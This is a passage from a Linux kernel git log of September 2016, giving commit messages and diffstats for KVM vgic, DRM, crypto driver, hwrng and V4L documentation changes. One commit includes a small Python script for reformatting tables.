arch/arm/kvm/../../../virt/kvm/arm/vgic/vgic-mmio-v3.c:184:35: warning: left shift count >= width of type [-Wshift-count-overflow] value = (mpidr & GENMASK(23, 0)) << 32; ^ In file included from ./include/linux/kernel.h:10:0, from ./include/asm-generic/bug.h:13, from ./arch/arm/include/asm/bug.h:59, from ./include/linux/bug.h:4, from ./include/linux/io.h:23, from ./arch/arm/include/asm/arch_gicv3.h:23, from ./include/linux/irqchip/arm-gic-v3.h:411, from arch/arm/kvm/../../../virt/kvm/arm/vgic/vgic-mmio-v3.c:14: arch/arm/kvm/../../../virt/kvm/arm/vgic/vgic-mmio-v3.c: In function 'vgic_v3_dispatch_sgi': ./include/linux/bitops.h:6:24: warning: left shift count >= width of type [-Wshift-count-overflow] #define BIT(nr) (1UL << (nr)) ^ arch/arm/kvm/../../../virt/kvm/arm/vgic/vgic-mmio-v3.c:614:20: note: in expansion of macro 'BIT' broadcast = reg & BIT(ICC_SGI1R_IRQ_ROUTING_MODE_BIT); ^ Let's fix them now. Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall virt/kvm/arm/vgic/vgic-mmio-v3.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7a1ff708286045a6664fbda716fd3cf8d63afadb Author: Vladimir Murzin Date: Mon Sep 12 15:49:18 2016 +0100 KVM: arm64: vgic-its: Introduce config option to guard ITS specific code By now ITS code guarded with KVM_ARM_VGIC_V3 config option which was introduced to hide everything specific to vgic-v3 from 32-bit world. We are going to support vgic-v3 in 32-bit world and KVM_ARM_VGIC_V3 will gone, but we don't have support for ITS there yet and we need to continue keeping ITS away. Introduce the new config option to prevent ITS code being build in 32-bit mode when support for vgic-v3 is done. Signed-off-by: Vladimir Murzin Acked-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/Kconfig | 4 ++++ virt/kvm/arm/vgic/vgic-kvm-device.c | 3 +++ virt/kvm/arm/vgic/vgic-mmio-v3.c | 2 ++ virt/kvm/arm/vgic/vgic.h | 4 ++++ 4 files changed, 13 insertions(+) commit 19f0ece4395470b24826fc090de2795ecc9cf4a0 Author: Vladimir Murzin Date: Mon Sep 12 15:49:17 2016 +0100 arm64: KVM: Move vgic-v3 save/restore to virt/kvm/arm/hyp So we can reuse the code under arch/arm Signed-off-by: Vladimir Murzin Acked-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/Makefile | 2 +- arch/arm64/kvm/hyp/vgic-v3-sr.c | 328 ---------------------------------------- virt/kvm/arm/hyp/vgic-v3-sr.c | 328 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 329 insertions(+), 329 deletions(-) commit b5525ce898eb5cbbd0359d745e23a5516377fa64 Author: Vladimir Murzin Date: Mon Sep 12 15:49:16 2016 +0100 arm64: KVM: Move GIC accessors to arch_gicv3.h Since we are going to share vgic-v3 save/restore code with ARM keep arch specific accessors separately. Signed-off-by: Vladimir Murzin Acked-by: Christoffer Dall Acked-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/arch_gicv3.h | 13 +++++++++++++ arch/arm64/kvm/hyp/vgic-v3-sr.c | 13 ------------- 2 files changed, 13 insertions(+), 13 deletions(-) commit 5a7a8426b2ac004b064e4106911769e0a55e7c4b Author: Vladimir Murzin Date: Mon Sep 12 15:49:15 2016 +0100 arm64: KVM: Use static keys for selecting the GIC backend Currently GIC backend is selected via alternative framework and this is fine. We are going to introduce vgic-v3 to 32-bit world and there we don't have patching framework in hand, so we can either check support for GICv3 every time we need to choose which backend to use or try to optimise it by using static keys. The later looks quite promising because we can share logic involved in selecting GIC backend between architectures if both uses static keys. This patch moves arm64 from alternative to static keys framework for selecting GIC backend. For that we embed static key into vgic_global and enable the key during vgic initialisation based on what has already been exposed by the host GIC driver. Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/switch.c | 21 +++++++++++---------- include/kvm/arm_vgic.h | 4 ++++ virt/kvm/arm/vgic/vgic-init.c | 4 ++++ virt/kvm/arm/vgic/vgic.c | 2 +- 4 files changed, 20 insertions(+), 11 deletions(-) commit c654dd07522e88bacc546c9ccd81b3ee72838ccf Author: Gustavo Padovan Date: Wed Sep 21 10:20:19 2016 +0300 dma-buf/sync_file: free fences array in num_fences is 1 When merging sync_files there is a case when we can end up with only one fence in the merged sync_file: when all fences belong to the same timeline. So for this case a fence_array is not created instead we just assigned the fence to sync_file->fence. Then we do not use the fences array anymore nor does free it. This patch frees the array. Reported-by: Chris Wilson Reviewed-by: Chris Wilson Signed-off-by: Gustavo Padovan Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474442419-6040-1-git-send-email-gustavo@padovan.org drivers/dma-buf/sync_file.c | 1 + 1 file changed, 1 insertion(+) commit 6a2925ea12006911c8180a89feda6d040873ed18 Author: Brian Starkey Date: Mon Jul 25 11:55:48 2016 +0100 drm/i2c: tda998x: don't register the connector The connector shouldn't be registered until the rest of the whole device is set up, so that consistent state is presented to userspace. As drm_dev_register() now registers all of the connectors anyway, there's no need to explicitly do it in individual drivers so remove the calls to drm_connector_register()/drm_connector_unregister(). This allows componentised drivers to use tda998x without having racy initialisation. Signed-off-by: Brian Starkey Reviewed-by: Liviu Dudau Cc: Russell King Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1469444148-19003-1-git-send-email-brian.starkey@arm.com Link: http://patchwork.freedesktop.org/patch/msgid/545C835D.1050008@arm.com drivers/gpu/drm/i2c/tda998x_drv.c | 8 -------- 1 file changed, 8 deletions(-) commit 0f2886057be322ddfa4858384c40a505f7a32a4a Author: Tom Gundersen Date: Wed Sep 21 16:59:19 2016 +0200 drm: Don't swallow error codes in drm_dev_alloc() There are many reasons other than ENOMEM that drm_dev_init() can fail. Return ERR_PTR rather than NULL to be able to distinguish these in the caller. Signed-off-by: Tom Gundersen Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/20160921145919.13754-2-teg@jklm.no drivers/gpu/drm/arc/arcpgu_drv.c | 4 ++-- drivers/gpu/drm/arm/hdlcd_drv.c | 4 ++-- drivers/gpu/drm/arm/malidp_drv.c | 4 ++-- drivers/gpu/drm/atmel-hlcdc/atmel_hlcdc_dc.c | 4 ++-- drivers/gpu/drm/drm_drv.c | 6 +++--- drivers/gpu/drm/drm_pci.c | 4 ++-- drivers/gpu/drm/drm_platform.c | 4 ++-- drivers/gpu/drm/etnaviv/etnaviv_drv.c | 4 ++-- drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_drv.c | 4 ++-- drivers/gpu/drm/hisilicon/kirin/kirin_drm_drv.c | 4 ++-- drivers/gpu/drm/mediatek/mtk_drm_drv.c | 4 ++-- drivers/gpu/drm/msm/msm_drv.c | 4 ++-- drivers/gpu/drm/nouveau/nouveau_drm.c | 4 ++-- drivers/gpu/drm/rcar-du/rcar_du_drv.c | 4 ++-- drivers/gpu/drm/rockchip/rockchip_drm_drv.c | 4 ++-- drivers/gpu/drm/sti/sti_drv.c | 4 ++-- drivers/gpu/drm/sun4i/sun4i_drv.c | 4 ++-- drivers/gpu/drm/tegra/drm.c | 4 ++-- drivers/gpu/drm/udl/udl_drv.c | 4 ++-- drivers/gpu/drm/vc4/vc4_drv.c | 4 ++-- drivers/gpu/drm/vgem/vgem_drv.c | 4 ++-- drivers/gpu/drm/virtio/virtgpu_drm_bus.c | 4 ++-- 22 files changed, 45 insertions(+), 45 deletions(-) commit c6bf811a0b55ab224fb2c75345641b4bb599475c Author: Tom Gundersen Date: Wed Sep 21 16:59:18 2016 +0200 drm: Distinguish no name from ENOMEM in set_unique() If passing name == NULL to drm_drv_set_unique() we now get -ENOMEM as kstrdup() returns NULL. Instead check for this explicitly and return -EINVAL if no name is provided. Signed-off-by: Tom Gundersen Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/20160921145919.13754-1-teg@jklm.no drivers/gpu/drm/drm_drv.c | 3 +++ 1 file changed, 3 insertions(+) commit 5ecf8ef9103cb018cbd82b6eace529ff4c5b5c66 Author: Catalin Vasile Date: Thu Sep 22 11:57:58 2016 +0300 crypto: caam - fix sg dump Ensure scatterlists have a virtual memory mapping before dumping. Signed-off-by: Catalin Vasile Signed-off-by: Herbert Xu drivers/crypto/caam/caamalg.c | 79 +++++++++++++++++++++++++++++++++---------- 1 file changed, 61 insertions(+), 18 deletions(-) commit ad8529fde9e3601180a839867a8ab041109aebb5 Author: Dave Gerlach Date: Tue Sep 20 10:25:40 2016 -0500 hwrng: omap - Only fail if pm_runtime_get_sync returns < 0 Currently omap-rng checks the return value of pm_runtime_get_sync and reports failure if anything is returned, however it should be checking if ret < 0 as pm_runtime_get_sync return 0 on success but also can return 1 if the device was already active which is not a failure case. Only values < 0 are actual failures. Fixes: 61dc0a446e5d ("hwrng: omap - Fix assumption that runtime_get_sync will always succeed") Signed-off-by: Dave Gerlach Signed-off-by: Herbert Xu drivers/char/hw_random/omap-rng.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 182e283f3e550d70ba5b7e6be66ea74726646166 Author: Tero Kristo Date: Mon Sep 19 18:22:19 2016 +0300 crypto: omap-sham - shrink the internal buffer size The current internal buffer size is way too large for crypto core, so shrink it to be smaller. This makes the buffer to fit into the space reserved for the export/import buffers also. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a84d351f6b8624cf3e365971f8eab7af8ef690cf Author: Tero Kristo Date: Mon Sep 19 18:22:18 2016 +0300 crypto: omap-sham - add support for export/import Now that the driver has been converted to use scatterlists for data handling, add proper implementation for the export/import stubs also. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 8043bb1ae03cb842cd06a33fb1233e458f6f7f37 Author: Tero Kristo Date: Mon Sep 19 18:22:17 2016 +0300 crypto: omap-sham - convert driver logic to use sgs for data xmit Currently, the internal buffer has been used for data transmission. Change this so that scatterlists are used instead, and change the driver to actually use the previously introduced helper functions for scatterlist preparation. This patch also removes the old buffer handling code which is no longer needed. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 344 ++++++++++----------------------------------- 1 file changed, 74 insertions(+), 270 deletions(-) commit 2c5bd1ef1511ecf3df24a1f2ee94c7f39d3318e1 Author: Tero Kristo Date: Mon Sep 19 18:22:16 2016 +0300 crypto: omap-sham - change the DMA threshold value to a define Currently the threshold value was hardcoded in the driver. Having a define for it makes it easier to configure. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit f19de1bc67a042d00175139d1540cdb6ac97ed50 Author: Tero Kristo Date: Mon Sep 19 18:22:15 2016 +0300 crypto: omap-sham - add support functions for sg based data handling Currently omap-sham uses a huge internal buffer for caching data, and pushing this out to the DMA as large chunks. This, unfortunately, doesn't work too well with the export/import functionality required for ahash algorithms, and must be changed towards more scatterlist centric approach. This patch adds support functions for (mostly) scatterlist based data handling. omap_sham_prepare_request() prepares a scatterlist for DMA transfer to SHA crypto accelerator. This requires checking the data / offset / length alignment of the data, splitting the data to SHA block size granularity, and adding any remaining data back to the buffer. With this patch, the code doesn't actually go live yet, the support code will be taken properly into use with additional patches that modify the SHA driver functionality itself. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 263 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 263 insertions(+) commit 8addf571aeb7ef096201315737543b4c5303300a Author: Tero Kristo Date: Mon Sep 19 18:22:14 2016 +0300 crypto: omap-sham - rename sgl to sgl_tmp for deprecation The current usage of sgl will be deprecated, and will be replaced by an array required by the sg based driver implementation. Rename the existing variable as sgl_tmp so that it can be removed from the driver easily later. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit 744e686a446cb4667ad42c530d372fbbc963507b Author: Tero Kristo Date: Mon Sep 19 18:22:13 2016 +0300 crypto: omap-sham - align algorithms on word offset OMAP HW generally expects data for DMA to be on word boundary, so make the SHA driver inform crypto framework of the same preference. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 99a7ffffd5e85bb1e079752be51b67d5257b6a87 Author: Tero Kristo Date: Mon Sep 19 18:22:12 2016 +0300 crypto: omap-sham - add context export/import stubs Initially these just return -ENOTSUPP to indicate that they don't really do anything yet. Some sort of implementation is required for the driver to at least probe. Signed-off-by: Tero Kristo Signed-off-by: Herbert Xu drivers/crypto/omap-sham.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) commit 8d46a5c872946ab5e1cc8ff54cac5b83d05b848d Author: Baoyou Xie Date: Sun Sep 18 20:52:44 2016 +0800 crypto: sun4i-ss - mark sun4i_hash() static We get 1 warning when building kernel with W=1: drivers/crypto/sunxi-ss/sun4i-ss-hash.c:168:5: warning: no previous prototype for 'sun4i_hash' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7514e3688811e610640ec2201ca14dfebfe13442 Author: Wei Yongjun Date: Sat Sep 17 16:01:22 2016 +0000 crypto: ccp - Fix return value check in ccp_dmaengine_register() Fix the retrn value check which testing the wrong variable in ccp_dmaengine_register(). Fixes: 58ea8abf4904 ("crypto: ccp - Register the CCP as a DMA resource") Signed-off-by: Wei Yongjun Acked-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dmaengine.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4fa5cd5245b627db88c9ca08ae442373b02596b4 Author: Con Kolivas Date: Tue Sep 13 16:27:05 2016 +1000 sched/core: Do not use smp_processor_id() with preempt enabled in smpboot_thread_fn() We should not be using smp_processor_id() with preempt enabled. Bug identified and fix provided by Alfred Chen. Reported-by: Alfred Chen Signed-off-by: Con Kolivas Cc: Alfred Chen Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/2042051.3vvUWIM0vs@hex Signed-off-by: Ingo Molnar kernel/smpboot.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 104a32e85f250742bc37e14d19a5dec706bed76e Author: Wei Yongjun Date: Fri Sep 16 01:50:01 2016 +0000 hwrng: geode - fix return value check in mod_init() In case of error, the function devm_ioremap() returns NULL pointer not ERR_PTR(). The IS_ERR() test in the return value check should be replaced with NULL test. Fixes: 6e9b5e76882c ("hwrng: geode - Migrate to managed API") Signed-off-by: Wei Yongjun Signed-off-by: Herbert Xu drivers/char/hw_random/geode-rng.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f7eca278a8f81e701848392b522f80078bf2589f Author: Wei Yongjun Date: Fri Sep 16 01:49:41 2016 +0000 hwrng: amd - Fix return value check in mod_init() In case of error, the function devm_kzalloc() or devm_ioport_map() return NULL pointer not ERR_PTR(). The IS_ERR() test in the return value check should be replaced with NULL test. Fixes: 31b2a73c9c5f ("hwrng: amd - Migrate to managed API") Signed-off-by: Wei Yongjun Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 06435f3437599d01653d42670c604d0b28a878e1 Author: Markus Elfring Date: Thu Sep 15 16:00:55 2016 +0200 crypto: caam - Move common error handling code in two functions Move statements for error handling which were identical in two if branches to the end of these functions. Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit 9e6df0fdfc4b3067de03f7be02f274e0a81737e7 Author: Markus Elfring Date: Thu Sep 15 15:24:02 2016 +0200 crypto: caam - Delete an unnecessary initialisation in seven functions The local variable "ret" will be set to an appropriate value a bit later. Thus omit the explicit initialisation at the beginning. Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit e6cc5b8df069cb0feff3d10da9e959cc2618625a Author: Markus Elfring Date: Thu Sep 15 14:56:12 2016 +0200 crypto: caam - Return a value directly in caam_hash_cra_init() * Return a value at the end without storing it in an intermediate variable. * Delete the local variable "ret" which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 58b0e5d0abfc84094457c93d70c0f6726deb16ac Author: Markus Elfring Date: Thu Sep 15 14:43:38 2016 +0200 crypto: caam - Rename a jump label in five functions Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 49 +++++++++++++++++++----------------------- 1 file changed, 22 insertions(+), 27 deletions(-) commit d6e7a7d0c2c5170234f0afb94b2bcdaf93630a72 Author: Markus Elfring Date: Thu Sep 15 13:54:49 2016 +0200 crypto: caam - Rename jump labels in ahash_setkey() Adjust jump labels according to the current Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit e7a33c4d0a97e80fe059f711621ad7a65b30a64d Author: Markus Elfring Date: Thu Sep 15 11:20:09 2016 +0200 crypto: caam - Use kmalloc_array() in ahash_setkey() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/crypto/caam/caamhash.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 664f570a9cee51a8c7caef042118abd2b48705b1 Author: Wei Yongjun Date: Thu Sep 15 03:28:04 2016 +0000 crypto: ccp - use kmem_cache_zalloc instead of kmem_cache_alloc/memset Using kmem_cache_zalloc() instead of kmem_cache_alloc() and memset(). Signed-off-by: Wei Yongjun Acked-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dmaengine.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit c98ef8dbca18db133bb4bc7643b975ee2612be2f Author: Wei Yongjun Date: Thu Sep 15 03:27:32 2016 +0000 crypto: omap-aes - fix error return code in omap_aes_probe() Fix to return error code -ENOMEM from the crypto_engine_alloc_init() error handling case instead of 0, as done elsewhere in this function. Fixes: 0529900a01cb ("crypto: omap-aes - Support crypto engine framework") Signed-off-by: Wei Yongjun Signed-off-by: Herbert Xu drivers/crypto/omap-aes.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 59af156625ab1d11436b04806ee3c1c795b29a93 Author: Wei Yongjun Date: Thu Sep 15 03:27:15 2016 +0000 crypto: omap-des - fix error return code in omap_des_probe() Fix to return error code -ENOMEM from the crypto_engine_alloc_init() error handling case instead of 0, as done elsewhere in this function. Fixes: f1b77aaca85a ("crypto: omap-des - Integrate with the crypto engine framework") Signed-off-by: Wei Yongjun Signed-off-by: Herbert Xu drivers/crypto/omap-des.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 917db484dc6a69969d317b3e57add4208a8d9d42 Author: Dan Williams Date: Wed Sep 21 12:50:45 2016 -0700 x86/boot: Fix kdump, cleanup aborted E820_PRAM max_pfn manipulation In commit: ec776ef6bbe1 ("x86/mm: Add support for the non-standard protected e820 type") Christoph references the original patch I wrote implementing pmem support. The intent of the 'max_pfn' changes in that commit were to enable persistent memory ranges to be covered by the struct page memmap by default. However, that approach was abandoned when Christoph ported the patches [1], and that functionality has since been replaced by devm_memremap_pages(). In the meantime, this max_pfn manipulation is confusing kdump [2] that assumes that everything covered by the max_pfn is "System RAM". This results in kdump hanging or crashing. [1]: https://lists.01.org/pipermail/linux-nvdimm/2015-March/000348.html [2]: https://bugzilla.redhat.com/show_bug.cgi?id=1351098 So fix it. Reported-by: Zhang Yi Reported-by: Jeff Moyer Tested-by: Zhang Yi Signed-off-by: Dan Williams Reviewed-by: Jeff Moyer Cc: # v4.1 and later kernels Cc: Andrew Morton Cc: Boaz Harrosh Cc: Christoph Hellwig Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Ross Zwisler Cc: Thomas Gleixner Cc: linux-nvdimm@lists.01.org Fixes: ec776ef6bbe1 ("x86/mm: Add support for the non-standard protected e820 type") Link: http://lkml.kernel.org/r/147448744538.34910.11287693517367139607.stgit@dwillia2-desk3.amr.corp.intel.com Signed-off-by: Ingo Molnar arch/x86/kernel/e820.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 8180bd56bdd1dcade8d1b2a0b6f70b2397bec372 Author: Arnd Bergmann Date: Thu Sep 22 11:37:32 2016 +0200 ASoC: cq93vc: duplicated callback function goes to component A cleanup removed a couple of members from struct snd_soc_codec_driver after changing codec drivers to no longer use them, but one codec was missed in the process, giving a build error: sound/soc/codecs/cq93vc.c:134:2: error: unknown field 'controls' specified in initializer .controls = cq93vc_snd_controls, This moves the members from the cq93vc codec driver to its component driver just like the other codecs already had. Fixes: 8073aefa6082 ("ASoC: remove codec duplicated callback function") Signed-off-by: Arnd Bergmann Signed-off-by: Mark Brown sound/soc/codecs/cq93vc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit c2b66cafdf020856f6981d03efd9f2706d5f0156 Author: Laurent Pinchart Date: Mon Sep 5 08:44:34 2016 -0300 [media] v4l: doc: Remove row numbers from tables Shorten the tables by removing row numbers in comments, allowing for later insertion of rows with minimal diffs. All changes have been generated by the following script. import io import re import sys def process_table(fname, data): if fname.endswith('hist-v4l2.rst'): data = re.sub(u'\n{1,2}\t( ?) -( ?) ?', u'\n\t\\1 -\\2', data, flags = re.MULTILINE) data = re.sub(u'\n(\t| )- \.\. row [0-9]+\n\t ?-( ?) ?', u'\\1* -\\2', data, flags = re.MULTILINE) else: data = re.sub(u'\n{1,2} -( ?) ?', u'\n -\\1', data, flags = re.MULTILINE) data = re.sub(u'(\n?)(\n\n - \.\. row 1\n)', u'\n\\2', data, flags = re.MULTILINE) data = re.sub(u'\n - \.\. row [0-9]+\n -( ?) ?', u' * -\\1', data, flags = re.MULTILINE) data = re.sub(u'\n - \.\. row [0-9]+\n \.\. (_[A-Z0-9_`-]*:)', u'\n - .. \\1', data, flags = re.MULTILINE) data = re.sub(u'\n - \.\. (_[A-Z0-9_`-]*:)\n -', u' * .. \\1\n\n -', data, flags = re.MULTILINE) data = re.sub(u'^ - ', u' -', data, flags = re.MULTILINE) data = re.sub(u'^(\t{1,2}) ', u'\\1', data, flags = re.MULTILINE) return data def process_file(fname, data): buf = io.StringIO(data) output = '' in_table = False table_separator = 0 for line in buf.readlines(): if line.find('.. flat-table::') != -1: in_table = True table = '' elif in_table and not re.match('^[\t\n]|( )', line): in_table = False output += process_table(fname, table) if in_table: table += line else: output += line if in_table: in_table = False output += process_table(fname, table) return output fname = sys.argv[1] data = file(fname, 'rb').read().decode('utf-8') data = process_file(fname, data) file(fname, 'wb').write(data.encode('utf-8')) Signed-off-by: Laurent Pinchart Documentation/media/uapi/v4l/buffer.rst | 1337 +- Documentation/media/uapi/v4l/control.rst | 133 +- Documentation/media/uapi/v4l/dev-raw-vbi.rst | 243 +- Documentation/media/uapi/v4l/dev-rds.rst | 191 +- Documentation/media/uapi/v4l/dev-sdr.rst | 43 +- Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 730 +- Documentation/media/uapi/v4l/dev-subdev.rst | 114 +- Documentation/media/uapi/v4l/diff-v4l.rst | 676 +- Documentation/media/uapi/v4l/extended-controls.rst | 3085 +--- Documentation/media/uapi/v4l/field-order.rst | 188 +- Documentation/media/uapi/v4l/hist-v4l2.rst | 231 +- Documentation/media/uapi/v4l/pixfmt-002.rst | 298 +- Documentation/media/uapi/v4l/pixfmt-003.rst | 195 +- Documentation/media/uapi/v4l/pixfmt-006.rst | 306 +- Documentation/media/uapi/v4l/pixfmt-007.rst | 495 +- Documentation/media/uapi/v4l/pixfmt-013.rst | 186 +- Documentation/media/uapi/v4l/pixfmt-grey.rst | 68 +- Documentation/media/uapi/v4l/pixfmt-indexed.rst | 82 +- Documentation/media/uapi/v4l/pixfmt-m420.rst | 249 +- Documentation/media/uapi/v4l/pixfmt-nv12.rst | 248 +- Documentation/media/uapi/v4l/pixfmt-nv12m.rst | 255 +- Documentation/media/uapi/v4l/pixfmt-nv16.rst | 320 +- Documentation/media/uapi/v4l/pixfmt-nv16m.rst | 325 +- Documentation/media/uapi/v4l/pixfmt-nv24.rst | 183 +- Documentation/media/uapi/v4l/pixfmt-packed-rgb.rst | 2134 +-- Documentation/media/uapi/v4l/pixfmt-packed-yuv.rst | 439 +- Documentation/media/uapi/v4l/pixfmt-reserved.rst | 539 +- Documentation/media/uapi/v4l/pixfmt-sbggr16.rst | 115 +- Documentation/media/uapi/v4l/pixfmt-sdr-cs08.rst | 16 +- Documentation/media/uapi/v4l/pixfmt-sdr-cs14le.rst | 21 +- Documentation/media/uapi/v4l/pixfmt-sdr-cu08.rst | 15 +- Documentation/media/uapi/v4l/pixfmt-sdr-cu16le.rst | 21 +- Documentation/media/uapi/v4l/pixfmt-sdr-ru12le.rst | 11 +- Documentation/media/uapi/v4l/pixfmt-srggb10.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-srggb10p.rst | 87 +- Documentation/media/uapi/v4l/pixfmt-srggb12.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-srggb8.rst | 68 +- Documentation/media/uapi/v4l/pixfmt-tch-td08.rst | 68 +- Documentation/media/uapi/v4l/pixfmt-tch-td16.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-tch-tu08.rst | 68 +- Documentation/media/uapi/v4l/pixfmt-tch-tu16.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-uv8.rst | 68 +- Documentation/media/uapi/v4l/pixfmt-uyvy.rst | 228 +- Documentation/media/uapi/v4l/pixfmt-vyuy.rst | 228 +- Documentation/media/uapi/v4l/pixfmt-y10.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-y10b.rst | 16 +- Documentation/media/uapi/v4l/pixfmt-y12.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-y12i.rst | 11 +- Documentation/media/uapi/v4l/pixfmt-y16-be.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-y16.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-y41p.rst | 336 +- Documentation/media/uapi/v4l/pixfmt-y8i.rst | 116 +- Documentation/media/uapi/v4l/pixfmt-yuv410.rst | 228 +- Documentation/media/uapi/v4l/pixfmt-yuv411p.rst | 230 +- Documentation/media/uapi/v4l/pixfmt-yuv420.rst | 273 +- Documentation/media/uapi/v4l/pixfmt-yuv420m.rst | 283 +- Documentation/media/uapi/v4l/pixfmt-yuv422m.rst | 278 +- Documentation/media/uapi/v4l/pixfmt-yuv422p.rst | 268 +- Documentation/media/uapi/v4l/pixfmt-yuv444m.rst | 298 +- Documentation/media/uapi/v4l/pixfmt-yuyv.rst | 238 +- Documentation/media/uapi/v4l/pixfmt-yvyu.rst | 228 +- Documentation/media/uapi/v4l/pixfmt-z16.rst | 116 +- Documentation/media/uapi/v4l/subdev-formats.rst | 18392 +++++++------------ .../media/uapi/v4l/v4l2-selection-flags.rst | 84 +- .../media/uapi/v4l/v4l2-selection-targets.rst | 171 +- .../media/uapi/v4l/vidioc-create-bufs.rst | 73 +- Documentation/media/uapi/v4l/vidioc-cropcap.rst | 128 +- .../media/uapi/v4l/vidioc-dbg-g-chip-info.rst | 123 +- .../media/uapi/v4l/vidioc-dbg-g-register.rst | 117 +- .../media/uapi/v4l/vidioc-decoder-cmd.rst | 292 +- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 668 +- .../media/uapi/v4l/vidioc-dv-timings-cap.rst | 233 +- .../media/uapi/v4l/vidioc-encoder-cmd.rst | 134 +- .../media/uapi/v4l/vidioc-enum-dv-timings.rst | 50 +- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 142 +- .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 184 +- .../media/uapi/v4l/vidioc-enum-framesizes.rst | 213 +- .../media/uapi/v4l/vidioc-enum-freq-bands.rst | 187 +- Documentation/media/uapi/v4l/vidioc-enuminput.rst | 437 +- Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 208 +- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 292 +- Documentation/media/uapi/v4l/vidioc-expbuf.rst | 90 +- Documentation/media/uapi/v4l/vidioc-g-audio.rst | 102 +- Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 65 +- Documentation/media/uapi/v4l/vidioc-g-crop.rst | 30 +- Documentation/media/uapi/v4l/vidioc-g-ctrl.rst | 22 +- .../media/uapi/v4l/vidioc-g-dv-timings.rst | 465 +- Documentation/media/uapi/v4l/vidioc-g-edid.rst | 73 +- .../media/uapi/v4l/vidioc-g-enc-index.rst | 167 +- .../media/uapi/v4l/vidioc-g-ext-ctrls.rst | 538 +- 